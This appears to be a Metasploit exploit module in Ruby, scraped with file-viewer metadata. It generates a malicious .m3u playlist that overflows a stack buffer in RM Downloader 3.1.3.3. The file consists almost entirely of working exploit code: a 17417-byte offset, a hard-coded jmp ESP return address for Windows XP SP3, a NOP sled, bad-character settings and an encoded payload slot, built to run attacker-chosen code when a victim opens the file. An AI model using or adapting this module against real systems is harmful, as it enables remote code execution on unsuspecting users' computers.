71 lines
No EOL
1.7 KiB
Ruby
Executable file
71 lines
No EOL
1.7 KiB
Ruby
Executable file
##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'RM Downloader Version 3.1.3.3.2010.06.26 (.m3u) Buffer Overflow (MSF)',
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'Description' => %q{
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RM Downloader Version 3.1.3.3.2010.06.26 has buffer overflow vuln. we will create file.
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File type be m3u. File name is exp.m3u if we open exp.m3u whit RM Downloader Version 3.1.3.3.2010.06.26,
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we will see this "run calc.exe"
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'KaHPeSeSe', # Found bug and wrote exploit
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],
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'Version' => '$Revision: $',
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'References' =>
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[
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\x09\x0a",
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'StackAdjustment' => -3500
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'PERFECT XP PC1 / SP3',
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{
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'Ret' => 0x7C86467B, # findjmp KERNEL32.DLL ESP 0x7C86467B jmp ESP
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'Offset' => 17417
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'March 14 2012',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'exp.m3u']),
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], self.class)
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end
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def exploit
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exp = "#EXTM3U\n"
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exp << "http://"
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exp << rand_text_alpha_upper(target['Offset'])
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exp << [target.ret].pack('V')
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exp << "\x90" * 8
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exp << payload.encoded
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(exp)
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end
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end |